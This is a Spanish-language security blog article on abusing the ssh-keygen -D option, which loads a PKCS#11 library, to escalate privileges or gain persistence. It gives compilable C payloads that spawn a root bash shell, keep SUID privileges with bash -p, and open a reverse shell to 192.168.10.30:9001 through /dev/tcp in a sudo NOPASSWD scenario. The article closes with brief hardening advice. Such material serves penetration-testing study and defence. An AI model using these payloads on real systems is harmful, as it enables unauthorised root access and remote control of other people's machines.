Saltar a contenido

Abusando de ssh-keygen

SSH-Keygen es una herramienta que permite crear y gestionar claves SSH, esta herramienta esta presente en la mayoría de los sistemas UNIX hoy en día como herramienta para facilitar la gestión de las claves SSH.

En este articulo exploraremos un par de métodos para abusar de esta herramienta con ciertas configuraciones como método de persistencia o de escalada de privilegios en el sistema.

En concreto abusaremos de una funcionalidad concreta de este binario que permite la carga de claves publicas desde una librería de lectura de tarjetas, esta opción es el parámetro -D, su uso es el siguiente.

ssh-keygen -D ./lib.so

Como generamos el payload

Una vez explicado que nos lleva a poder explotar esta función, vamos a explicar en mayor detalle como generar un payload, para ello primero de todo será obtener una versión de pkcs11.h . En este archivo de cabeceras es donde se definen los tipos de datos necesarios para la función de nuestra librería que llamara ssh-keygen al usar el parámetro -D.

En nuestro caso, para ello iremos al repositorio de Open Smart Card y descargaremos la versión que necesitamos de la siguiente url:

GitHub - PKCS11

Con este archivo procederemos a escribir un pequeño programa en C con la estructura necesaria para ser ejecutado por ssh-keygen, en nuestro caso este programa lanza una shell en bash.

#include "pkcs11.h"
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = "/bin/bash";
        char *args[] = {cmd, NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror("fork");
        return 1;
    }

    return CKR_OK;
}

Una vez compilado podemos cargarlo como librería como indicamos en la introducción.

Profit

Caso 1: Sudo SSH-Keygen

Vamos a explotar un escenario donde nuestro usuario tiene permisos para ejecutar el comando ssh-keygen como root.

Matching Defaults entries for pnavas on test:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User pnavas may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /usr/bin/ssh-keygen

En este ese caso, en lugar de hacer uso de una simple llamada a bash vamos a cargar una reverse shell.

#include "pkcs11.h"
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = "/bin/bash";
        char *args[] = {cmd, "-c" , "bash -i >& /dev/tcp/192.168.10.30/9001 0>&1", NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror("fork");
        return 1;
    }

    return CKR_OK;
}

Como resultado, al cargarla obtendremos una conexión como root en nuestro listener, podríamos cambiarlo para ejecutar una shell sencillamente como en el ejemplo de la sección de teoría .

Caso 2: SSH-Keygen SUID

En este escenario vamos a explotar un escenario algo menos común donde ssh-keygen tiene el bit del SUID activado, en este caso para mantener los privilegios del SUID tenemos que cambiar un poco el código de la librería para que la shell mantenga los privilegios.

#include "pkcs11.h"
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = "/bin/bash";
        char *args[] = {cmd, "-p", NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror("fork");
        return 1;
    }

    return CKR_OK;
}

Una vez compilado podemos ejecutar el comando para cargar la librería y obtener una shell con los privilegios necesarios.

Reflexiones Finales

Como se ha demostrado, ssh-keygen es una herramienta poderosa que, cuando está mal configurada o mal utilizada, puede convertirse en un riesgo significativo para la seguridad. Los escenarios presentados en este artículo destacan la importancia de configurar y restringir adecuadamente el acceso a binarios con privilegios elevados.

Al comprender y gestionar proactivamente las capacidades y riesgos asociados con herramientas comunes como ssh-keygen, los administradores pueden garantizar la integridad y seguridad de sus sistemas.

Note

Adopte siempre el principio de privilegio mínimo y realice auditorías de seguridad regulares para minimizar las superficies de ataque.

Stay safe. Stay smart. Stay secure.